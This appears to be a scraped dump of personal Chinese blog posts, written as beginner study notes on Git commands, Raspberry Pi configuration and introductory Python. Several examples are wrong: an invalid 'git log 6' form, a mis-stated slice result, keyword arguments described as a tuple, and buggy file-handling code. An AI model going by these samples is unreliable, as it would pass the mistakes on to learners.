#简化信息\n修改冲突的文件的内容，改成一样的\ngit merge \u0026ndash;abort # 退出合并，当合并冲突发生时，但是有不想修改冲突，而是想取消合并时，指向该命令，git会尝试恢复到执行合并前的状态\n版本冲突\n版本冲突就是当前版本不是最新的，git不知道以哪个版本为准，因此提示版本冲突，只需要git pull获取最新版本，就可以避免这个问题，如果已经发生版本冲突了，那么执行git status查看冲突文件，不管是分支冲突还是版本冲突，其修改都不会丢失，而是保存在这个冲突文件中，只需要手动修改成自己想要的就好了，一般来说上面是本地的，下面是最新的\n版本控制\n获取git仓库\n将本地目录转换为git仓库（初始化仓库）\n克隆已存在的git仓库到本地\ngit的三种状态\n已修改，已暂存，已提交\ngit正常的工作流程：\n工作区修改文件 -\u0026gt; 要提交的文件暂存 -\u0026gt; 提交更新（永久性存储到git仓库）\n工作区 -\u0026gt; 暂存区 -\u0026gt; git仓库\n初始化仓库\ngit init // 初始化当前目录为git仓库，初始化会创建.git的隐藏目录，.git目录包含初始的必要文件\n工作区中的文件的4种状态\n未追踪（untracked）：没有被git管理的文件，git之前的提交中没有该文件\n未修改（unmodified）：工作区内容和git仓库中文件的内容保持一致\n已修改（modified）：工作区内容和git仓库中文件的内容不一致\n已暂存（staged）：工作区已被修改文件被放到暂存区，准备提交到git仓库中\n检查文件的状态\ngit status\n以精简的方式显示文件状态\n未跟踪文件前面会有??标记\n已跟踪文件前面会有A标记\ngit status -s\ngit status \u0026ndash;short\n跟踪新文件或者将已跟踪，已修改的文件存放在暂存区，将有冲突的文件标记为已解决冲突\ngit add 文件名或者目录名\n暂存多个文件\ngit add .\n提交更新（将暂存区提交到git仓库）\ngit commit -m 本次提交的描述\n撤销对文件的修改（恢复到git仓库中的版本）\ngit checkout \u0026ndash; 要撤销的文件名\n取消已暂存的文件（移除在暂存区的指定文件）\ngit reset HEAD 要移除的文件名\n跳过暂存区\n工作区 -\u0026gt; git仓库\n会将全部已经被跟踪的文件暂存起来一并提交\ngit commit -a -m 本次提交的描述\n移除文件\ngit仓库和工作区移除文件\ngit rm -r 要移除的文件名\ngit仓库移除文件，工作区保留\ngit rm \u0026ndash;cached 要移除的文件名\n忽略文件\n将一些文件不纳入git管理\n.gitignore配置文件\n以*开头的表示忽略，例如：*.java，表示忽略所有.java文件\n以#开头是注释\n以/结尾的是目录，忽略任何目录下的指定的文件夹，例如：hallo/\n以/开头的是防止递归，只忽略当前目录的指定文件，例如：/hallo.java\n以!开头的是表示取反，哪怕忽略了java，就是匹配所有指定的文件，例如：!hallo.java\n使用glob模式进行匹配（glob是简化的正则表达式）\nglob模式\n*匹配0个或者多个\n[abc]匹配任何一个在括号里的字符\n?只匹配一个任意字符\n[0-9]：匹配所有0到9的数字\na/**/c：可以匹配任意中间目录，例如a/b/c\n例如：\nhallo/*.java // 忽略hallo目录下的全部java文件\nhallo/**/*.java // 忽略hallo目录以及全部子目录下的全部java文件\n查看提交历史\n按时间来排序全部提交历史，最近的提交在上面\ngit log\n只查看最新的指定条数的提交历史\ngit log 6\n在一行上查看指定条数的提交历史\ngit log 6 \u0026ndash;pretty=oneline\n在一行上查看指定条数的提交历史，并且按照输出格式来输出\ngit log \u0026ndash;pretty=oneline: \u0026ldquo;%h | %an | %ar | %s\u0026rdquo;\n%h为提交的简写哈希值\n%an为作者名字\n%ar为作者修订日期\n%s为提交说明\n回退指定版本\ngit reset \u0026ndash;hard 版本id\n旧版本返回新版本（获取新版本的id）\ngit reflog \u0026ndash;pretty=oneline\ngithub\n远程仓库访问：https和ssh\nhttps：必须要输入账号和密码\nssh：需要配置，配置成功，不需要输入账号和密码\n将本地仓库上传到远程仓库\n本地有仓库：\n本地仓库和远程仓库进行关联 git remote add origin 远程仓库地址\n推送本地仓库内容 git push -u origin master\n如果本地没有仓库，先建立仓库，再关联，推送\ngit init -\u0026gt; git add -\u0026gt; git commit\n如果已经关联过，推送过，可以直接git push推送\nssh key\n生成ssh key\nssh-keygen -t rsa -b 4096 -C \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\n如果是windows，会在C:\\Users\\用户名文件夹.ssh下\nid_rsa：私钥\nid_rsa.pub：公钥\n私钥可以通过计算推出公钥，公钥推不出私钥，因此密钥安全性很高，通过配置公钥到github中，本地的私钥可以确保，是本人在提交推送\n检测是否配置ssh key成功\nssh -T git@github.com\nhttps远程仓库\nhttps://github.com/xxx/xxx.git\nssh远程仓库\ngit@github.com:xxx/xxx.git\n简单来说就是公钥设置在github\ngit clone 远程库\n再修改文件\ngit add . // 提交文件到暂存区\ngit commit -m \u0026ldquo;xxx\u0026rdquo; // 提交更新\ngit push -u -f origin master // 推送到远程仓库，-f是强制推送（团队仓库别使用-f，个人无所谓）\n注意：git对文件名大小写默认不敏感，因此修改hallo.py和Hallo.py是不认为被修改，在提交时没有记录，如果想开启大小写敏感可以找到项目的.git文件夹（隐藏文件，需显示）,找到config文件，修改ignorecase为false，或者直接用git config core.ignorecase false命令一键修改\ngit回滚\ngit reset HEAD^ // 回到add暂存区时（未commit）\ngit reset \u0026ndash;hard HEAD^ // 回滚到上个版本，HEAD是当前版本的指向\ngit reset \u0026ndash;hard commitId // 回到指定版本，commitId使用git log查看（commit那一行的id）\n注意：reset回退会删除之前版本的（例如原版本在第3次修改，回到第2版本，会将第3版本的修改删除（这个删除不是指实质删除，而是工作区的代码回到之前的版本了，在第2版本上，没第3版本了））\n如果这是某个修改有错误，要回退时，但是又想保留之前版本的工作时就可以使用git revert -n commitId\n这种需求常见于多人协同开发，当别人已经push提交，如果再使用reset回退的话，就会影响到别人的提交，因为版本冲突了，revert实质上就是恢复到某个版本，但是之前的版本不会被删除，而且是在当前最新版本的基础上创建了一个新的版本，当然在git上没有是绝对的删除，只要有commitId在就可以恢复\n在git2.23版本中添加了git switch命令，该命令专门用来切换分支，功能和git checkout一致\ngit switch 分支名 // 切换到指定分支\ngit switch -c 分支名 // 创建该分支并且切换到该分支，和git checkout -b功能一致\n解决分支无法合并\n导致原因：不同的分支都有自己的新提交，git不知道以谁的为准\n解决方法：手动解决，通过git status命令查看冲突的文件\ngit commit \u0026ndash;amend // 对最近提交的message进行修改\ngit rebase -i commit的id // 修改指定提交的message，这里应该使用reword或者r，退出该文件后，git会弹出修改commit描述的文件\ngit rebase -i中有6种命令，分别是pick，reword，edit，squash，fixup，exec\npick：提交，可通过排序来变更提交的顺序，如果不想要该次直接删除整行\nreword：和pick类似，但是它可以给你修改commit的message的机会\nedit：提供机会来修改提交\nsquash：将多个或者两个提交合并成一个提交，压缩到其上方的提交，并且给机会来编写这次提交的message\nfixup：和squash类似，不过合并的过程中，被合并的提交的message将丢失，压缩到其上方的提交，但是只保留较早的提交的message\nexec：对提交执行shell命令\n解决分支冲突的其他解决方案（本地分支与远程仓库分支合并，本地分支作为指定远程仓库分支的未来分支提交）\n将远程分支拉取至本地 git fetch 远程仓库地址 分支名\n查看远程分支 git branch -r\n查看全部分支 git branch -a\n将远程仓库分支与本地当前分支合并 git merge 远程仓库地址/分支名\n将远程仓库分支的修改与本地当前分支合并（rebase可以将其他分支的提交作为当前分支的时间线的开头，也就是当前分支作为新的未来提交分支了） git rebase 远程仓库地址/分支名\nGPG签名（通过签名来确定提交者身份，git默认的用户及邮箱可以伪造，不安全）\n查看git是否包含GPG命令（windows要在Git Bash 运行）\ngpg \u0026ndash;version\n创建GPG keys\ngpg \u0026ndash;full-generate-key\n第一个是选择加密算法，选择1就好，然后就是选择key的长度（选择4096），再然后就是选择密令的有效期（根据自己选择来，不想过期就选择0），然后名称，邮箱，最后选择o设置私钥密码就创建完成\n查看生成的公钥\ngpg \u0026ndash;list-keys\n查看私钥\ngpg \u0026ndash;list-secret-keys\n关联GPG公钥到Github\ngpg \u0026ndash;armor \u0026ndash;export 密钥ID\n对commit签名\ngit config \u0026ndash;global user.signingkey 密钥ID\n开启git自动签名（也可以在git commit的时候使用-s参数）\ngit config \u0026ndash;global commit.gpgsign true\n查看git仓库签名信息\ngit log \u0026ndash;show-signature\n解决github网页签名问题\n导入github签名\ncurl https://github.com/web-flow.gpg | gpg \u0026ndash;import\n信任签名并且用自己的密钥进行签名验证\ngpg \u0026ndash;sign-key github的key\n","permalink":"https://xiaochenabc123.github.io/posts/30/","summary":"git安装\nWindows和mac\n到git官网下载对应的安装文件，进行安装，下一步\nLinux\nsudo apt install git-all 或者 sudo dnf install git-all\n也可以用源代码编译（Git是开源的，是Linux之父的作品） https://github.com/git/git/releases\n方便git管理，记录每一个修改了Git仓库的人，设置用户名和邮箱\ngit config \u0026ndash;global user.name \u0026ldquo;chenjunlin\u0026rdquo; git config \u0026ndash;global user.email \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\nssh-keygen -t rsa -C \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo; # 生成ssh密钥\nmkdir learngit #创建一个空目录\ncd learngit # cd到目录\npwd #显示当前目录路径\ngit init #将当前的目录变成git管理仓库\nls -ah #将所有目录（包括隐藏目录）显示出来\ngit add 文件名 #将文件添加到仓库中\ngit commit -m 说明 #告诉git这次添加到仓库的说明，可以是任意内容\ngit status #返回仓库的当前状态\ngit diff 文件名 #查看当前文件的内容\ngit log #查看历史记录，加上\u0026ndash;pretty=oneline 查看commit id（版本号）\ngit reset \u0026ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本","title":"Git版本管理系统学习笔记"},{"content":"（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统\n现改名为Raspberry Pi OS\n工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc\n修改为国内镜像源\n# 编辑 /etc/apt/sources.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi deb-src http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi\n# 编辑 /etc/apt/sources.list.d/raspi.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/ buster main ui\n使用刻录工具刻录树莓派系统（Win32DiskImager）\n使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart\n在boot目录新建一个wpa_supplicant.conf文件\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1\nnetwork={\rssid=\u0026quot;wifi的名字\u0026quot;\rpsk=\u0026quot;wifi的密码\u0026quot;\rkey_mgmt=WPA-PSK\rpriority=1\r}\rupdate_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响\n插入内存卡，连接电源，开启树莓派\nWindows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找\n使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户\n修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启\nvnc服务\nsudo raspi-config\n依次操作：Interfacing Options -\u0026gt; VNC -\u0026gt; Yes\n选择第5个的interfacing Options\n找到第3个的vnc\n系统会提示是否安装vnc服务，回复y或者yes，等待系统安装完成\n或者安装vnc apt-get install x11vnc\nx11vnc -storepasswd 设置vnc密码，vnc登录使用\nx11vnc -usepw 用密码形式来启动vnc\nx11vnc -usepw -forever 防止vnc闪退，一直连接vnc\n开启桌面\nsudo raspi-config\n找到Boot Options，选择Desktop，重启\nssh-keygen 为了防止ssh连接每次都要输入密码，而设置的key密匙\nssh-copy-id pi@192.168.137.230 推送到要ssh的linux机子\n","permalink":"https://xiaochenabc123.github.io/posts/29/","summary":"（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统\n现改名为Raspberry Pi OS\n工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc\n修改为国内镜像源\n# 编辑 /etc/apt/sources.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi deb-src http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi\n# 编辑 /etc/apt/sources.list.d/raspi.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/ buster main ui\n使用刻录工具刻录树莓派系统（Win32DiskImager）\n使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart\n在boot目录新建一个wpa_supplicant.conf文件\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1\nnetwork={\rssid=\u0026quot;wifi的名字\u0026quot;\rpsk=\u0026quot;wifi的密码\u0026quot;\rkey_mgmt=WPA-PSK\rpriority=1\r}\rupdate_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响\n插入内存卡，连接电源，开启树莓派\nWindows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找\n使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户\n修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启\nvnc服务\nsudo raspi-config\n依次操作：Interfacing Options -\u0026gt; VNC -\u0026gt; Yes","title":"配置树莓派笔记"},{"content":"安装python\n推荐安装anaconda3（linux）\nwget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh\ndash Anaconda3-2019.10-Linux-x86_64.sh\n根据提示安装，如果还是系统自带的python\nsudo gedit ~/.bashrc\nexport PATH=\u0026quot;/home/pc/anaconda3/bin:$PATH\u0026quot;\npc为系统的用户名，请修改成自己的系统用户名，请勿在root用户下安装anaconda3\n注意：如果使用anaconda3，请设置Path环境变量，/Anaconda3，/Anaconda3/Scripts，/Anaconda3brary/bin，这3个路径都需要设置\nWindows和mac 到官网下载安装包，直接下一步安装\nmac安装了Homebrew，可以使用brew install python3\nWindows设置环境变量，PATH 安装路径\n现在liunx一般都会自带有python3,如果没有可以安装一下\napt install python3\nyun install python3\n注意一下python2.x和python3.x这两个版本是不兼容的，要区分开\n检查是否安装成功，在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了 Windows的一定要注意PATH系统变量\n因为Python语言从规范到解释器都是开源的，所以存在多个解释器\n例如CPython，安装python3.x时就可以直接获取到一个官方版本的解释器：CPython，因为是使用C语言开发的，所以叫CPython\n在命令行或者终端，输入输入python3 回车，如果出现了\u0026raquo;\u0026gt; 那么当前状态是python的交互模式\n在交互模式下输入exit()，退出python的交互模式\n在交互模式下执行第一个程序 print(\u0026ldquo;hello,world\u0026rdquo;)\n回车输出hello，world，这是简单的打印字符串\n除了使用交互模式执行程序，又可以使用.py，在命令行或者终端下 python hello.py，如果报错，请检查程序是否出错或者该文件是否在当前目录下\n交互模式可以直接输出结果，但是使用.py文件却不会，想要输出结果，必须使用print()打印出来\n一个好的开发工具往往可以达到事半功倍的效果，例如pycharm和Visual Studio Code，我使用的是Visual Studio Code\nprint()接受多个输出，使用“,”分隔开，也可以输出整数\n当你想让用户输入一点东西的时候，python提供了一个input()，用法如下 name = input() 将输入的值存放到一个变量里\ninput()还提供了提示功能，显示一个字符串，例如：input(\u0026ldquo;xxxxx\u0026rdquo;)\n我想知道这个变量的内容咋办，可以在交互模式下直接输入变量名，回车，就可以查看该变量的内容 又可以使用print()打印下来\n那么什么是变量呢？\n在计算机程序中，变量不仅可以为整数或浮点数，还可以是字符串\n输入是Input，输出是Output，输入输出统称为Input/Output，或者简写为IO\n以#开头的语句是注释，注释是给人看的，解释器会忽略掉注释，注释可以是任何内容\n其他每一行都是一个语句，当语句以冒号:结尾时，缩进的语句视为代码块\n注意：python区分大小写，搞错了大小写，程序可能会报错。缩进建议使用4个空格\npython能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量\npython可以处理整型任意大小的整数，也可以使用二进制代表整数、\n浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示\n字符串是使用\u0026quot;\u0026ldquo;和\u0026rsquo;\u0026lsquo;括起来的任意文本，\u0026lsquo;\u0026lsquo;或\u0026quot;\u0026ldquo;本身只是一种表示方式，不是字符串的一部分\n字符串内部包含\u0026rsquo;又包含\u0026quot;怎么办？使用转义字符来标识，转义字符可以转义很多字符，比如n表示换行，t表示制表符，字符本身也是可以转义的，所以\\表示的字符就是\\\n为了简化，Python还允许用r\u0026rsquo;\u0026rsquo;，用来表示\u0026rsquo;\u0026lsquo;内部的字符串默认不转义\n在交互式命令行内输入，在输入多行内容时，提示符由\u0026raquo;\u0026gt;变为\u0026hellip;，提示可以接着上一行输入，注意\u0026hellip;是提示符，不是代码的一部分\n多行字符串\u0026rsquo;\u0026lsquo;\u0026lsquo;xxx\u0026rsquo;\u0026rsquo;\u0026rsquo;，可以在前面加上r使用\n布尔值只有两种值，分别是True和False，在计算机中布尔值要么是True，要么是False，在python中可以直接使用True、False表示布尔值，注意大小写\nand是与运算，只有所有值都为True时，and运算结果才是True\nor运算是或运算，只要其中有一个为True，那么or运算结果就是True\nnot运算是非运算，它是一个单目运算符，专门把True变成False，False变成True\n空值，使用None表示空值，这个空值不是0，因为0是有意义的，代表什么都没有\n在计算机程序中，变量不仅可以是数字，还可以是任意数据类型。\n变量在程序中用一个变量名表示，变量名必须是大小写英文、数字和_的组合，且不能用数字开头，\n变量名 = 任意数据类型，这个过程叫变量赋值，变量可以反复赋值\n这种变量本身类型不固定的语言称之为动态语言，与之对应的是静态语言。静态语言在定义变量时必须指定变量类型，如果赋值的时候类型不匹配，就会报错。\n例如golang就是一个静态语言，不能跨数据类型来赋值\nx = 1\nx = x+1\n这个是计算新的值，并且重新赋值给该变量\na = \u0026ldquo;hello\u0026rdquo;\n这时Python解释器干了两件事情：\n在内存中创建了一个\u0026rsquo;hello\u0026rsquo;的字符串；\n在内存中创建了一个名为a的变量，并把它指向\u0026rsquo;hallo\u0026rsquo;。\n可以把一个变量a赋值给另一个变量b，这个操作实际上是把变量b指向变量a所指向的数据\n因为程序是从上往下执行的，一定要理清逻辑\n常量就是不能变的变量，在python中使用大写表示一个常量，例如： ABC =123\n但这个常量还是可以被修改，因为Python没有任何机制可以保证该常量不会被改变，这个很奇怪\n/除法计算结果是浮点数，即使是两个整数恰好整除，结果也是浮点数\n当使用//除法时，两个整数的相除就可以是整数\n想要做精确的除法，就必须使用/了\n// 除，永远是整数\n字符编码 python提供了字符转编码函数ord()和编码转字符函数chr()\nPython可以使用编码来输出内容\nPython的字符串类型是str，在内存中以Unicode表示，一个字符对应若干个字节，可以转成bytes类型，方便传输和保存数据\n在Python中bytes类型的数据用带b前缀的单引号或双引号表示：a = b\u0026quot;hallo word\u0026rdquo;\nstr和bytes类型内容显示没有差别，但是bytes的每个字符都只占用一个字节\n在Python中，可以使用encode()方法来指定编码，例如： \u0026lsquo;hallo\u0026rsquo;.encode(\u0026lsquo;ascii\u0026rsquo;) b\u0026rsquo;hallo\u0026rsquo;\n注意：纯英文的str可以使用ASCII编码为bytes，显示内容一样，但是包含了其他语言（比如中文）的str不能使用ASCII编码，Python会报错，含有其他语言的str请使用UTF-8编码\n如果想把bytes转为str，可以使用decode()方法\n注意：如果bytes中包含无法解码的字节，decode()方法会报错\n如果bytes中只有一小部分无效的字节，可以传入errors=\u0026lsquo;ignore\u0026rsquo;忽略错误的字节\n计算str包含多少个字符，可以用len()函数\nlen()函数计算的是str的字符数，如果换成bytes，len()函数就计算字节数 为了让Python按UTF-8编码读取，一般都会在文件开头声明一下： # !/usr/bin/python3 # \u0026ndash; coding: utf-8 \u0026ndash;\n第一行是告诉计算机系统这是一个Python可执行程序，注意Windows会忽视这个\n第二行是告诉Python，请按照UTF-8编码读取源代码\n注意：声明并不代表文件是UTF-8编码的，请确保文本编辑器使用UTF-8 without BOM编码\n如果想一些内容可以根据变量变化，那么就用到格式化字符串\n在Python中，采用的格式化方式和C语言是一致的，用%实现\n\u0026lsquo;Hello, %s $%d \u0026rsquo; % (\u0026lsquo;world\u0026rsquo;)\n常见的占位符有：\n%d \u0026ndash; 整数 %f \u0026ndash; 浮点数 %s \u0026ndash; 字符串 %x \u0026ndash; 十六进制整数\n注意：%s永远起作用，它会把任何数据类型转换为字符串！！！\n如果字符串里面的%只是普通字符，那么使用%%来代表一个%（转义）\n还有一个格式化字符串方法：format()\n它会用传入的参数依次替换字符串内的占位符{0}、{1}\u0026hellip;\u0026hellip;..\n例如：\n\u0026lsquo;hello,{0}\u0026rsquo;.format(\u0026lsquo;world\u0026rsquo;)\nPython 3的字符串使用Unicode，直接支持多语言\n当str和bytes互相转换时，需要指定编码\n列表（list），一种有序的集合，可以随时添加和删除其中的元素，使用[]来表示，例如： abc = [\u0026lsquo;a\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;]\n可以使用索引来访问列表的每一个元素，索引是从0开始，例如：\nabc[0] \u0026lsquo;a\u0026rsquo;\n注意：索引超出范围时，Python会抛出一个IndexError错误，记得最后一个元素的索引是len(classmates) - 1\n如果想获取最后一个元素，不知道索引，又怕抛出错误，可以使用-1方法，例如：\nabc[-1] c\n以此类推，可以获取倒数第2个、倒数第3个，-2，-3\n因为这个列表是可变的有序的列表，所以可以在列表中追加元素到末尾，例如：\nabc.append(\u0026rsquo;d\u0026rsquo;) abc [\u0026lsquo;a\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;,\u0026rsquo;d\u0026rsquo;]\n当然也可以添加元素到指定的位置，例如：\nabc.insert(1,\u0026lsquo;1\u0026rsquo;) abc [\u0026lsquo;a\u0026rsquo;,\u0026lsquo;1\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;,\u0026rsquo;d\u0026rsquo;]\n删除列表末尾元素，使用pop()方法，例如：\nabc.pop() \u0026rsquo;d\u0026rsquo; abc [\u0026lsquo;a\u0026rsquo;,\u0026lsquo;1\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;]\n删除指定位置的元素，使用pop()，括号中填写索引位置\nabc.pop(1) \u0026lsquo;1\u0026rsquo; abc [\u0026lsquo;a\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;]\n如果想把某个元素换成其他元素，可以直接赋值给对应的索引位置，例如：\nabc[0]=\u0026lsquo;abc\u0026rsquo; abc [\u0026lsquo;abc\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;]\n列表里面的元素数据类型可以不同，例如：\na = [\u0026lsquo;hallo\u0026rsquo;,666,False]\n列表里面可以包含其他列表，反复嵌套，例如：\na = [\u0026lsquo;hallo\u0026rsquo;,\u0026lsquo;word\u0026rsquo;,[\u0026lsquo;123\u0026rsquo;.\u0026lsquo;abc\u0026rsquo;]]\n注意：这个a列表只有3个元素，其中的a[2]又是一个列表，可以拆开理解，例如：\n123 = [\u0026lsquo;hallo\u0026rsquo;,\u0026lsquo;word\u0026rsquo;]\nabc = [\u0026lsquo;666\u0026rsquo;,123,\u0026lsquo;abc\u0026rsquo;]\n想拿到\u0026rsquo;hallo\u0026rsquo;,可以写成123[1]或者abc1\n这个可以看成一个二维数组\n注意：当一个列表中一个元素也没有，那么就是一个空的列表，长度为0，a=[] len(a) 0\n还有一个有序列表叫元组（tuple），和list很相似，不过这个一但初始化就不能修改\n没有添加元素和删除元素的方法，但是可以正常使用获取元素的方法，获取方法和list一样，就是不能赋值成另外的元素\n那么这个列表不能改变，那么有什么意义？因为tuple不可变，所以程序更安全\n当定义一个tuple时，在定义的时候，tuple的元素就必须被确定下来\n如果要定义一个空的tuple，可以写成()\n正确定义只有一个元素的tuple，例如：\na = (1,) a 1\n为啥这样呢？因为括号()可以表示tuple，又可以表示数学公式中的小括号，防止Python按照小括号来计算，避免歧义\n关于可以\u0026rsquo;改变\u0026rsquo;的tuple：实际上改变的是list，因为tuple里面可以有list列表，所以可以\u0026rsquo;改变'01\n全局变量和局部变量\n一般在函数内部定义的变量，为局部变量，在函数外部定义的变量为全局变量\n因为作用域的问题，一般在函数内部不能真正修改到全局变量\n可以使用关键字global来处理\nabc = None\rdef xyz():\rglobal abc\rabc=\u0026quot;hallo\u0026quot;\rreturn a\rprint(abc) // 观察这个变量和下面的变量的区别\rprint(xyz())\rprint(abc) // 观察这个变量和上面的变量的区别\rnonlocal 可以用于在函数或者其他作用域中使用上层（非全局）的变量，例如：\ndef xyz():\rabc=\u0026quot;hallo\u0026quot;\rdef go():\rnonlocal abc\rreturn abc\rreturn go()\rprint(xyz())\r函数\n调用函数 函数名()\npython中内置了大量的函数，可以直接调用，例如：\nint(\u0026ldquo;666\u0026rdquo;) // 666\n因为函数本身可以理解为是一个引用类型，所以函数是可以赋值给变量，例如：\na = int a(\u0026ldquo;123\u0026rdquo;) // 123\n定义函数\ndef为定义一个函数的关键字，定义一个函数例如： def abc(i): print(i)\n如果有一个函数定义在另一个文件里，可以在当前文件的当前目录下，使用from abstest import导入函数\n空函数： def no(): pass\npass语句用于什么都不干，可以用于占位\n检查函数传入的参数\n检查数据类型可以使用isinstance()\nisinstance(1,int) // 返回布尔值，可以搭配if判断语句使用\n如果想要手动设置异常，可以使用raise语句，例如：\ndef no(i):\rif not isinstance(i,(int)):\rraise ValueError(\u0026quot;no函数的传参必须为整数\u0026quot;)\rno('1')\r函数内部可以使用return来返回函数结果\n使用return返回不了值，主要是没有把值取出来，例如\ndef a(x):\rreturn x\rb = a(1)\rprint(b) // 1\rpython的函数参数灵活度很高\ndef a(x,i=1) // 默认i为1\n必选参数在前，默认参数在后，当不需要默认参数可以直接覆盖掉，灵活性很高\n当参数的个数不明确时，可以把参数当成list或tuple传进来，例如：\ndef a(x):\rabc = 0\rfor a in x:\rabc=abc+a\rreturn abc\ra = a([1,2,3])\rprint(a) // 6\r如果已经有一个list或tuple，想传进来：\ndef xyz(*x):\rabc = 0\rfor a in x:\rabc=abc+a\rreturn abc\rb = [1,3,5]\ra = xyz(*b)\rprint(a)\r关键字参数可以传入0或者任意个参数，而这些参数会变成一个tuple\ndef abc(i,**n): print(\u0026lsquo;i:\u0026rsquo;, i, \u0026rsquo;n:\u0026rsquo;, n)\nabc(\u0026ldquo;abc\u0026rdquo;)\n如果已经有一个tuple，想传入： b = {1,3,5} abc(**b)\n如果想限制关键字参数，例如：\ndef xyz(i,n,*,name,age):\rprint(i,n,name,age)\rxyz(1,2,name=\u0026quot;hallo\u0026quot;,age=18) // 1 2 hallo 18\r*后面的参数被认为是命名关键字参数，限制只能使用该参数名\n如果参数中已经有了可变参数，后面跟着的命名关键字参数就不需要*来分隔了\n命名关键字参数必须要传入参数名，否则报错，如果命名关键字参数已经有默认值，可以不用传入\n递归函数\n递归函数就是这个函数反复调用它本身，例如：\n从1加到100，1+2+3+\u0026hellip;+100\ndef xyz(n):\rif n == 1:\rreturn 1\rreturn n+xyz(n-1)\ra = xyz(100)\rprint(a) // 5050\r尾递归优化\n递归调用次数过多，会导致堆栈溢出，溢出就是超出了最大上限的堆栈\n而解决因为递归而导致的溢出的方法就是尾递归优化\n但是Python解释器目前不支持尾递归优化，就算使用尾递归方式，也还是会导致堆栈溢出\ndef abc(n):\rreturn xyz(n,1)\rdef xyz(n,go):\rif n == 1:\rreturn go\rreturn xyz(n-1,n+go)\ra = abc(100)\rprint(a)\r切片，顾名思义，就是取部分值，例如：\na = [1,2,3,4,5]\na[0:3] // [1,2,3]\n索引从0开始，到3为止\n支持倒数切片\na[:-1] // [1,2,3,4]\n如果开头为0，可以省略不写，倒数第一个为-1\na[::2] // [1, 3, 5] 每两个取一个\na[:] // 复制一个一样的list\ntupel也可以使用切片，但是操作结果还是tuple\na = (0,1,2,3)\na[:3] // (0,1,2)\n甚至连字符串都可以切片，结果还是字符串\na = \u0026ldquo;hallo\u0026rdquo;\na[:2] // hallo\n迭代\n读写文件\nabc = open(\u0026lsquo;1.txt\u0026rsquo;,\u0026lsquo;r\u0026rsquo;) go = abc.read(6) # 可以指定读取的数量，如果为空则读取全部 print(go) abc.clsoe() # 这个用来关闭文件\nr为只读，w为写入，a为追加，rb为以二进制方式只读，wb为以二进制方式写入，ab为以二进制方式追加\nabc = open(\u0026lsquo;1.txt\u0026rsquo;,\u0026lsquo;w\u0026rsquo;) abc.write(\u0026ldquo;hallo word!!\u0026rdquo; * 6) # 写入6条数据 abc.close()\nabc = open(\u0026lsquo;1.txt\u0026rsquo;,\u0026lsquo;r\u0026rsquo;) data = abc.readline() print(\u0026ldquo;3:%s\u0026rdquo; % data) # 读取指定行数的数据，这里为读取3行数据 abc.close()\n如果想多钱全部数据，并且返回的是一个列表，列表的每一个元素为都为每一行数据，可以： abc = open(\u0026lsquo;1.txt\u0026rsquo;, \u0026lsquo;r\u0026rsquo;) data = data.readlines() print(type(data)) for a in data: print(a) data.close()\nif判断\ndata = 10\rif data \u0026gt;=18:\rprint(\u0026quot;成年了!\u0026quot;)\relif data\u0026gt;=6:\rprint(\u0026quot;义务教育\u0026quot;)\relse:\rprint(\u0026quot;未成年!!!\u0026quot;)\r输入输出\ndata = 